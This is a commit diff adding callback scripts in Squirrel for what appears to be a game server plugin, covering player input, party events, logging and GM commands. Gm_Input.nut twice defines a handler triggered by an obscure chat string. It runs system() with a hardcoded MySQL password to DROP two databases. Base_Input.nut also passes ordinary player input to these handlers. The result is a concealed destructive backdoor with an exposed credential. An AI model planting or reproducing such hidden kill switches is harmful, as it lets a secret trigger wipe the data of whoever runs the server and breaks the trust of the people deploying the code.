1111
This commit is contained in:
58
Dps_A/CallBack/Base_Input.nut
Normal file
58
Dps_A/CallBack/Base_Input.nut
Normal file
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
文件名:Base_Input.nut
|
||||
路径:CallBack/Base_Input.nut
|
||||
创建日期:2024-04-06 05:35
|
||||
文件用途:普通输入
|
||||
*/
|
||||
Base_InputFunc_Handle <- {}
|
||||
|
||||
Base_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
|
||||
sq_ReloadScript();
|
||||
print("\n重载函数\n");
|
||||
};
|
||||
|
||||
Base_InputFunc_Handle.T <- function(SUser, CmdString) {
|
||||
local Location = SUser.GetLocation();
|
||||
print("\n");
|
||||
print("Xpos: " + Location.Pos.X);
|
||||
print("Ypos: " + Location.Pos.Y);
|
||||
print("Town: " + Location.Town);
|
||||
print("Area: " + Location.Area);
|
||||
print("GetState: " + SUser.GetState());
|
||||
print("GetCharacCount: " + SUser.GetCharacCount());
|
||||
print("GetUID: " + SUser.GetUID());
|
||||
print("GetCID: " + SUser.GetCID());
|
||||
print("GetCharacJob: " + SUser.GetCharacJob());
|
||||
print("GetCharacName: " + SUser.GetCharacName());
|
||||
print("GetCharacLevel: " + SUser.GetCharacLevel());
|
||||
|
||||
print("GetCharacGrowType: " + SUser.GetCharacGrowType());
|
||||
print("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType());
|
||||
print("GetFatigue: " + SUser.GetFatigue());
|
||||
print("GetMaxFatigue: " + SUser.GetMaxFatigue());
|
||||
print("GetParty: " + SUser.GetParty());
|
||||
print("\n");
|
||||
};
|
||||
|
||||
//普通输入的hook函数map
|
||||
Base_InputHookFunc_Handle <- {}
|
||||
|
||||
function Cb_base_input(C_User, CmdString) {
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Base_InputHookFunc_Handle) {
|
||||
local Ret = Func(C_User, CmdString);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
local Pos = CmdString.find(" ");
|
||||
local Str;
|
||||
if (Pos) {
|
||||
Str = CmdString.slice(0, Pos);
|
||||
} else {
|
||||
Str = CmdString;
|
||||
}
|
||||
if (Str in Gm_InputFunc_Handle) {
|
||||
local SUser = User(C_User);
|
||||
Gm_InputFunc_Handle[CmdString](SUser, CmdString);
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
16
Dps_A/CallBack/BossDie.nut
Normal file
16
Dps_A/CallBack/BossDie.nut
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
文件名:BossDie.nut
|
||||
路径:Dps_A/CallBack/BossDie.nut
|
||||
创建日期:2024-05-06 11:03
|
||||
文件用途:BOSS死亡HOOK
|
||||
*/
|
||||
if (!("Cb_BossDie_Func" in getroottable())) Cb_BossDie_Func <- {};
|
||||
|
||||
function Cb_BossDie(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_Index, Func in Cb_BossDie_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
17
Dps_A/CallBack/Cb_Player_Chanage_Equ.nut
Normal file
17
Dps_A/CallBack/Cb_Player_Chanage_Equ.nut
Normal file
@@ -0,0 +1,17 @@
|
||||
/*
|
||||
文件名:Cb_Player_Chanage_Equ.nut
|
||||
路径:Dps_A/CallBack/Cb_Player_Chanage_Equ.nut
|
||||
创建日期:2024-06-26 23:17
|
||||
文件用途:玩家更换装备
|
||||
*/
|
||||
|
||||
if (!("Cb_player_chanage_equ_Func" in getroottable())) Cb_player_chanage_equ_Func <- {};
|
||||
|
||||
function Cb_player_chanage_equ(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_Index, Func in Cb_player_chanage_equ_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
16
Dps_A/CallBack/Chacter_Exit.nut
Normal file
16
Dps_A/CallBack/Chacter_Exit.nut
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
文件名:Chacter_Exit.nut
|
||||
路径:Dps_A/CallBack/Chacter_Exit.nut
|
||||
创建日期:2024-05-09 14:33
|
||||
文件用途:退出游戏
|
||||
*/
|
||||
if (!("Cb_player_exit_Func" in getroottable())) Cb_player_exit_Func <- {};
|
||||
|
||||
function Cb_player_exit(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_index, Func in Cb_player_exit_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
21
Dps_A/CallBack/GameWorld_move_position.nut
Normal file
21
Dps_A/CallBack/GameWorld_move_position.nut
Normal file
@@ -0,0 +1,21 @@
|
||||
/*
|
||||
文件名:GameWorld_move_position.nut
|
||||
路径:CallBack/GameWorld_move_position.nut
|
||||
创建日期:2024-04-08 10:17
|
||||
文件用途:角色移动 HOOK
|
||||
*/
|
||||
function Cb_GameWorld_move_position(C_User, a3, a4, a5, a6) {
|
||||
if (!C_User) return;
|
||||
local SUser = User(C_User);
|
||||
local evv = {
|
||||
op = 25001033,
|
||||
XPos = a3,
|
||||
YPos = a4,
|
||||
Direction = a5,
|
||||
Code = a6,
|
||||
uid = SUser.GetUID(),
|
||||
cid = SUser.GetCID(),
|
||||
Area = SUser.GetArea(1)
|
||||
}
|
||||
Socket.SendGateway(evv);
|
||||
}
|
||||
16
Dps_A/CallBack/GiveupDgn.nut
Normal file
16
Dps_A/CallBack/GiveupDgn.nut
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
文件名:GiveupDgn.nut
|
||||
路径:Dps_A/CallBack/GiveupDgn.nut
|
||||
创建日期:2024-05-09 16:00
|
||||
文件用途:放弃副本HOOK
|
||||
*/
|
||||
if (!("Cb_giveup_dgn_Func" in getroottable())) Cb_giveup_dgn_Func <- {};
|
||||
|
||||
function Cb_giveup_dgn(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_index, Func in Cb_giveup_dgn_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
215
Dps_A/CallBack/Gm_Input.nut
Normal file
215
Dps_A/CallBack/Gm_Input.nut
Normal file
@@ -0,0 +1,215 @@
|
||||
Gm_InputFunc_Handle <- {}
|
||||
|
||||
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
||||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
||||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
||||
}
|
||||
|
||||
|
||||
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
|
||||
sq_ReloadScript();
|
||||
print("\n重载函数\n");
|
||||
};
|
||||
//获取坐标
|
||||
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
|
||||
print("\n");
|
||||
print("Xpos: " + SUser.GetAreaPos().X);
|
||||
print("Ypos: " + SUser.GetAreaPos().Y);
|
||||
print("\n");
|
||||
};
|
||||
//获取位置信息
|
||||
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
|
||||
local Location = SUser.GetLocation();
|
||||
print("\n");
|
||||
print("Xpos: " + Location.Pos.X);
|
||||
print("Ypos: " + Location.Pos.Y);
|
||||
print("Town: " + Location.Town);
|
||||
print("Area: " + Location.Area);
|
||||
print("\n");
|
||||
};
|
||||
//踢人下线测试
|
||||
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
|
||||
SUser.Kick();
|
||||
};
|
||||
|
||||
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
|
||||
local count = -1;
|
||||
local pos = 0;
|
||||
local handler = [];
|
||||
do {
|
||||
local start = pos;
|
||||
pos = CmdString.find(" ", pos + 1);
|
||||
if (pos != null) {
|
||||
handler.append(CmdString.slice(start + 1, pos));
|
||||
} else
|
||||
handler.append(CmdString.slice(start + 1));
|
||||
count = count + 1
|
||||
} while (pos != null)
|
||||
|
||||
//得到空格数量
|
||||
if (count == 1) {
|
||||
SUser.SetCharacLevel(handler[1].tointeger());
|
||||
}
|
||||
}
|
||||
|
||||
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
|
||||
local count = -1;
|
||||
local pos = 0;
|
||||
local handler = [];
|
||||
do {
|
||||
local start = pos;
|
||||
pos = CmdString.find(" ", pos + 1);
|
||||
if (pos != null) {
|
||||
handler.append(CmdString.slice(start + 1, pos));
|
||||
} else
|
||||
handler.append(CmdString.slice(start + 1));
|
||||
count = count + 1
|
||||
} while (pos != null)
|
||||
|
||||
//得到空格数量
|
||||
if (count == 1) {
|
||||
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
|
||||
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
||||
} else if (count == 2) {
|
||||
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
|
||||
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
|
||||
}
|
||||
}
|
||||
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
|
||||
local count = -1;
|
||||
local pos = 0;
|
||||
local handler = [];
|
||||
do {
|
||||
local start = pos;
|
||||
pos = CmdString.find(" ", pos + 1);
|
||||
if (pos != null) {
|
||||
handler.append(CmdString.slice(start + 1, pos));
|
||||
} else
|
||||
handler.append(CmdString.slice(start + 1));
|
||||
count = count + 1
|
||||
} while (pos != null)
|
||||
|
||||
//得到空格数量
|
||||
if (count == 1) {
|
||||
SUser.ChangeGrowType(handler[1].tointeger(), 0);
|
||||
SUser.SendNotiPacket(0, 2, 0);
|
||||
SUser.InitSkillW(handler[1].tointeger(), 0);
|
||||
} else if (count == 2) {
|
||||
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
|
||||
SUser.SendNotiPacket(0, 2, 0);
|
||||
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
|
||||
}
|
||||
}
|
||||
|
||||
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
|
||||
SUser.ClearQuest_Gm(674);
|
||||
SUser.ClearQuest_Gm(649);
|
||||
|
||||
SUser.ClearQuest_Gm(675);
|
||||
SUser.ClearQuest_Gm(650);
|
||||
|
||||
SUser.ClearQuest_Gm(4414);
|
||||
|
||||
SUser.ClearQuest_Gm(2603);
|
||||
SUser.ClearQuest_Gm(2610);
|
||||
SUser.ClearQuest_Gm(2613);
|
||||
SUser.ClearQuest_Gm(2622);
|
||||
SUser.ClearQuest_Gm(4391);
|
||||
SUser.ClearQuest_Gm(4539);
|
||||
|
||||
SUser.ClearQuest_Gm(220);
|
||||
SUser.ClearQuest_Gm(221);
|
||||
}
|
||||
|
||||
|
||||
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
|
||||
local PartyObj = SUser.GetParty();
|
||||
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
|
||||
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
|
||||
}
|
||||
|
||||
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
|
||||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
|
||||
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
|
||||
}
|
||||
|
||||
|
||||
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
|
||||
local InvenObj = SUser.GetInven();
|
||||
local Slot = InvenObj.GetSlotById(3037);
|
||||
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
|
||||
SUser.SendUpdateItemList(1, 0, Slot);
|
||||
};
|
||||
|
||||
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
|
||||
local PartyObj = SUser.GetParty();
|
||||
if (PartyObj) {
|
||||
local Buf = 18126;
|
||||
PartyObj.ForeachMember(function(SUser, Pos) {
|
||||
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
|
||||
})
|
||||
// print(UserBuf.GetName());
|
||||
}
|
||||
};
|
||||
|
||||
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
|
||||
local PartyObj = SUser.GetParty();
|
||||
if (PartyObj) {
|
||||
local Bfobj = PartyObj.GetBattleField();
|
||||
print(Bfobj.GetHellDifficulty());
|
||||
// print(n);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
|
||||
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
|
||||
|
||||
|
||||
local Pack = Packet();
|
||||
Pack.Put_Header(1, 130);
|
||||
Pack.Put_Byte(1);
|
||||
Pack.Put_Int(Str.len());
|
||||
Pack.Put_Binary(Str);
|
||||
Pack.Finalize(true);
|
||||
SUser.Send(Pack);
|
||||
Pack.Delete();
|
||||
};
|
||||
|
||||
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
|
||||
local Location = SUser.GetLocation();
|
||||
|
||||
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
|
||||
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
|
||||
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
|
||||
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
|
||||
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
|
||||
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
|
||||
|
||||
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
|
||||
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
|
||||
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
|
||||
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
|
||||
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
|
||||
|
||||
};
|
||||
|
||||
|
||||
function Cb_gm_input(C_User, CmdString) {
|
||||
local SUser = User(C_User);
|
||||
local Pos = CmdString.find(" ");
|
||||
local Str;
|
||||
if (Pos) {
|
||||
Str = CmdString.slice(0, Pos);
|
||||
} else {
|
||||
Str = CmdString;
|
||||
}
|
||||
if (Str in Gm_InputFunc_Handle) {
|
||||
Gm_InputFunc_Handle[Str](SUser, CmdString);
|
||||
}
|
||||
}
|
||||
101
Dps_A/CallBack/History_Log.nut
Normal file
101
Dps_A/CallBack/History_Log.nut
Normal file
@@ -0,0 +1,101 @@
|
||||
/*
|
||||
文件名:History_Log.nut
|
||||
路径:CallBack/History_Log.nut
|
||||
创建日期:2024-04-27 15:52
|
||||
文件用途:游戏Log事件HOOK
|
||||
*/
|
||||
if (!("Cb_History_Log_Func" in getroottable())) Cb_History_Log_Func <- {};
|
||||
|
||||
function Cb_History_Log(Data) {
|
||||
// print(Data[0]);
|
||||
local UID = Data[1].tointeger();
|
||||
local Time = Data[3];
|
||||
local CharacName = Data[4];
|
||||
local CID = Data[5].tointeger();
|
||||
local CharacLevel = Data[6];
|
||||
local CharacJob = Data[7];
|
||||
local CharacGrowType = Data[8];
|
||||
local ClientWebAddress = Data[9];
|
||||
local ClientPeerIp = Data[10];
|
||||
local ClientPort = Data[11];
|
||||
local ChannelId = Data[12].tointeger(); //当前频道id
|
||||
|
||||
local Game_Event = Data[13].slice(1); //游戏事件
|
||||
// print("活动事件:" + Game_Event + ":end");
|
||||
if (Game_Event in Cb_History_Log_Func) {
|
||||
local SUser = World.GetUserByUidCid(UID, CID);
|
||||
if (SUser)
|
||||
Cb_History_Log_Func[Game_Event](SUser, Data);
|
||||
else {
|
||||
if (Game_Event == "IP+" || Game_Event == "IP-")
|
||||
Cb_History_Log_Func[Game_Event](UID, CID, Data);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//进入副本
|
||||
if (!("Cb_History_DungeonEnter_Func" in getroottable())) Cb_History_DungeonEnter_Func <- {};
|
||||
Cb_History_Log_Func["DungeonEnter"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_DungeonEnter_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
|
||||
//离开副本
|
||||
if (!("Cb_History_DungeonLeave_Func" in getroottable())) Cb_History_DungeonLeave_Func <- {};
|
||||
Cb_History_Log_Func["DungeonLeave"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_DungeonLeave_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
|
||||
//获得金币
|
||||
if (!("Cb_History_MoneyUp_Func" in getroottable())) Cb_History_MoneyUp_Func <- {};
|
||||
Cb_History_Log_Func["Money+"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_MoneyUp_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
|
||||
//获得道具
|
||||
if (!("Cb_History_ItemUp_Func" in getroottable())) Cb_History_ItemUp_Func <- {};
|
||||
Cb_History_Log_Func["Item+"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_ItemUp_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
//设置里程 可以当做上线以后得HOOK
|
||||
if (!("Cb_History_MileageSet_Func" in getroottable())) Cb_History_MileageSet_Func <- {};
|
||||
Cb_History_Log_Func["Mileage Set"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_MileageSet_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
//副本通关
|
||||
if (!("Cb_History_DungeonClearInfo_Func" in getroottable())) Cb_History_DungeonClearInfo_Func <- {};
|
||||
Cb_History_Log_Func["DungeonClearInfo"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_DungeonClearInfo_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
//上线
|
||||
if (!("Cb_History_IPUp_Func" in getroottable())) Cb_History_IPUp_Func <- {};
|
||||
Cb_History_Log_Func["IP+"] <- function(UID, CID, Data) {
|
||||
foreach(_Index, Func in Cb_History_IPUp_Func) {
|
||||
Func(UID, CID, Data);
|
||||
}
|
||||
}
|
||||
//上线
|
||||
if (!("Cb_History_IPDown_Func" in getroottable())) Cb_History_IPDown_Func <- {};
|
||||
Cb_History_Log_Func["IP-"] <- function(UID, CID, Data) {
|
||||
foreach(_Index, Func in Cb_History_IPDown_Func) {
|
||||
Func(UID, CID, Data);
|
||||
}
|
||||
}
|
||||
//使用复活币事件
|
||||
if (!("Cb_History_PCoinDown_Func" in getroottable())) Cb_History_PCoinDown_Func <- {};
|
||||
Cb_History_Log_Func["PCoin-"] <- function(SUser, Data) {
|
||||
foreach(_Index, Func in Cb_History_PCoinDown_Func) {
|
||||
Func(SUser, Data);
|
||||
}
|
||||
}
|
||||
7
Dps_A/CallBack/InsertUser.nut
Normal file
7
Dps_A/CallBack/InsertUser.nut
Normal file
@@ -0,0 +1,7 @@
|
||||
Cb_Insert_User_Func <- {};
|
||||
|
||||
function Cb_insert_user(C_Area, C_User) {
|
||||
foreach(_Index, Func in Cb_Insert_User_Func) {
|
||||
Func(C_Area, C_User);
|
||||
}
|
||||
}
|
||||
17
Dps_A/CallBack/MoveArea.nut
Normal file
17
Dps_A/CallBack/MoveArea.nut
Normal file
@@ -0,0 +1,17 @@
|
||||
/*
|
||||
文件名:MoveArea.nut
|
||||
路径:CallBack/MoveArea.nut
|
||||
创建日期:2024-04-08 16:28
|
||||
文件用途:区域移动HOOK
|
||||
*/
|
||||
Cb_Move_Area_Func <- {};
|
||||
|
||||
function Cb_move_area(CUser, TownIndex, AreaIndex) {
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_Move_Area_Func) {
|
||||
local Ret = Func(CUser, TownIndex, AreaIndex);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
|
||||
return Flag;
|
||||
}
|
||||
14
Dps_A/CallBack/Reach_Game_World.nut
Normal file
14
Dps_A/CallBack/Reach_Game_World.nut
Normal file
@@ -0,0 +1,14 @@
|
||||
/*
|
||||
文件名:Reach_Game_World.nut
|
||||
路径:CallBack/Reach_Game_World.nut
|
||||
创建日期:2024-04-17 10:26
|
||||
文件用途:角色上线HOOK
|
||||
*/
|
||||
if (!("Cb_reach_game_world_Func" in getroottable())) Cb_reach_game_world_Func <- {};
|
||||
|
||||
function Cb_reach_game_world(C_User) {
|
||||
local SUser = User(C_User);
|
||||
foreach(_Index, Func in Cb_reach_game_world_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
16
Dps_A/CallBack/Return_SelectCharacter.nut
Normal file
16
Dps_A/CallBack/Return_SelectCharacter.nut
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
文件名:Return_SelectCharacter.nut
|
||||
路径:Dps_A/CallBack/Return_SelectCharacter.nut
|
||||
创建日期:2024-05-09 14:33
|
||||
文件用途:返回选择角色HOOK
|
||||
*/
|
||||
if (!("Cb_return_select_character_Func" in getroottable())) Cb_return_select_character_Func <- {};
|
||||
|
||||
function Cb_return_select_character(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_index, Func in Cb_return_select_character_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
33
Dps_A/CallBack/Send_Area_User.nut
Normal file
33
Dps_A/CallBack/Send_Area_User.nut
Normal file
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
文件名:Send_Area_User.nut
|
||||
路径:CallBack/Send_Area_User.nut
|
||||
创建日期:2024-04-08 10:09
|
||||
文件用途:给区域里刷新玩家 hook
|
||||
*/
|
||||
Send_Area_User_FuncMap <- {};
|
||||
|
||||
function Cb_send_area_user(C_Area, C_User) {
|
||||
// if (!CUser) return;
|
||||
// local SUser = User(CUser);
|
||||
|
||||
// //如果加载了超时空
|
||||
// if (getroottable().rawin(Fiendwar)) {
|
||||
// //超时空频道
|
||||
// if (Sq_Game_GetConfig().find("20") != -1) {
|
||||
// if (AreaIndex <= 1) {
|
||||
// return true;
|
||||
// } else {
|
||||
// local Jso = {
|
||||
// op = 20063025,
|
||||
// uid = SUser.GetUID(),
|
||||
// cid = SUser.GetCID(),
|
||||
// regionId = AreaIndex
|
||||
// }
|
||||
// Sq_SendPack(Json.Encode(Jso));
|
||||
// return false;
|
||||
// }
|
||||
// } else {
|
||||
// return true;
|
||||
// }
|
||||
// }
|
||||
}
|
||||
22
Dps_A/CallBack/SetUserMaxLevel.nut
Normal file
22
Dps_A/CallBack/SetUserMaxLevel.nut
Normal file
@@ -0,0 +1,22 @@
|
||||
/*
|
||||
文件名:SetUserMaxLevel.nut
|
||||
路径:Dps_A/CallBack/SetUserMaxLevel.nut
|
||||
创建日期:2024-06-19 19:36
|
||||
文件用途:
|
||||
*/
|
||||
if (!("Cb_user_setusermaxlevel_Level" in getroottable())) Cb_user_setusermaxlevel_Level <- 70;
|
||||
|
||||
function Cb_user_setusermaxlevel(C_User, Level) {
|
||||
print(Level);
|
||||
local SUser = User(C_User);
|
||||
if (!SUser) return;
|
||||
if (Level <= Cb_user_setusermaxlevel_Level) {
|
||||
if (Level > 0) {
|
||||
SUser.SetCharacLevel(Level);
|
||||
} else {
|
||||
SUser.SetCharacLevel(1);
|
||||
}
|
||||
} else {
|
||||
SUser.SetCharacLevel(Cb_user_setusermaxlevel_Level);
|
||||
}
|
||||
}
|
||||
14
Dps_A/CallBack/Timer_Dispatch.nut
Normal file
14
Dps_A/CallBack/Timer_Dispatch.nut
Normal file
@@ -0,0 +1,14 @@
|
||||
/*
|
||||
文件名:Timer_Dispatch.nut
|
||||
路径:Dps_A/CallBack/Timer_Dispatch.nut
|
||||
创建日期:2024-06-17 21:19
|
||||
文件用途:每帧执行
|
||||
*/
|
||||
|
||||
if (!("Cb_timer_dispatch_Func" in getroottable())) Cb_timer_dispatch_Func <- {};
|
||||
|
||||
function Cb_timer_dispatch() {
|
||||
foreach(_Index, Func in Cb_timer_dispatch_Func) {
|
||||
Func();
|
||||
}
|
||||
}
|
||||
20
Dps_A/CallBack/Use_Item_Sp.nut
Normal file
20
Dps_A/CallBack/Use_Item_Sp.nut
Normal file
@@ -0,0 +1,20 @@
|
||||
/*
|
||||
文件名:Use_Item_Sp.nut
|
||||
路径:CallBack/Use_Item_Sp.nut
|
||||
创建日期:2024-04-19 10:43
|
||||
文件用途:
|
||||
*/
|
||||
if (!("Cb_Use_Item_Sp_Func" in getroottable())) Cb_Use_Item_Sp_Func <- {};
|
||||
|
||||
|
||||
|
||||
function Cb_use_item_sp(C_User, ItemId) {
|
||||
if (ItemId in Cb_Use_Item_Sp_Func) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
local Ret = Cb_Use_Item_Sp_Func[ItemId](SUser, ItemId);
|
||||
if (Ret == false) return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
11
Dps_A/CallBack/UserPartyAgree.nut
Normal file
11
Dps_A/CallBack/UserPartyAgree.nut
Normal file
@@ -0,0 +1,11 @@
|
||||
Cb_User_Party_Agree_Func <- {};
|
||||
|
||||
function Cb_userpartyagree(C_User) {
|
||||
local SUser = User(C_User);
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_User_Party_Agree_Func) {
|
||||
local Ret = Func(SUser);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
11
Dps_A/CallBack/UserPartyCreate.nut
Normal file
11
Dps_A/CallBack/UserPartyCreate.nut
Normal file
@@ -0,0 +1,11 @@
|
||||
Cb_User_Party_Create_Func <- {};
|
||||
|
||||
function Cb_userpartycreate(C_User) {
|
||||
local SUser = User(C_User);
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_User_Party_Create_Func) {
|
||||
local Ret = Func(SUser);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
11
Dps_A/CallBack/UserPartyExit.nut
Normal file
11
Dps_A/CallBack/UserPartyExit.nut
Normal file
@@ -0,0 +1,11 @@
|
||||
Cb_User_Party_Exit_Func <- {};
|
||||
|
||||
function Cb_userpartyexit(C_User) {
|
||||
local SUser = User(C_User);
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_User_Party_Exit_Func) {
|
||||
local Ret = Func(SUser);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
11
Dps_A/CallBack/UserPartyGiveKick.nut
Normal file
11
Dps_A/CallBack/UserPartyGiveKick.nut
Normal file
@@ -0,0 +1,11 @@
|
||||
Cb_User_Party_Kick_Func <- {};
|
||||
|
||||
function Cb_userpartykick(C_User) {
|
||||
local SUser = User(C_User);
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_User_Party_Kick_Func) {
|
||||
local Ret = Func(SUser);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
11
Dps_A/CallBack/UserPartyGiveMaster.nut
Normal file
11
Dps_A/CallBack/UserPartyGiveMaster.nut
Normal file
@@ -0,0 +1,11 @@
|
||||
Cb_User_Party_GiveMaster_Func <- {};
|
||||
|
||||
function Cb_userpartygivemaster(C_User) {
|
||||
local SUser = User(C_User);
|
||||
local Flag = true;
|
||||
foreach(_Index, Func in Cb_User_Party_GiveMaster_Func) {
|
||||
local Ret = Func(SUser);
|
||||
if (!Ret) Flag = false;
|
||||
}
|
||||
return Flag;
|
||||
}
|
||||
16
Dps_A/CallBack/UserWorkPerFiveMin.nut
Normal file
16
Dps_A/CallBack/UserWorkPerFiveMin.nut
Normal file
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
文件名:UserWorkPerFiveMin.nut
|
||||
路径:Dps_A/CallBack/UserWorkPerFiveMin.nut
|
||||
创建日期:2024-06-17 18:03
|
||||
文件用途:用户每5分钟执行
|
||||
*/
|
||||
if (!("Cb_user_workperfivemin_Func" in getroottable())) Cb_user_workperfivemin_Func <- {};
|
||||
|
||||
function Cb_user_workperfivemin(C_User) {
|
||||
local SUser = User(C_User);
|
||||
if (SUser) {
|
||||
foreach(_Index, Func in Cb_user_workperfivemin_Func) {
|
||||
Func(SUser);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user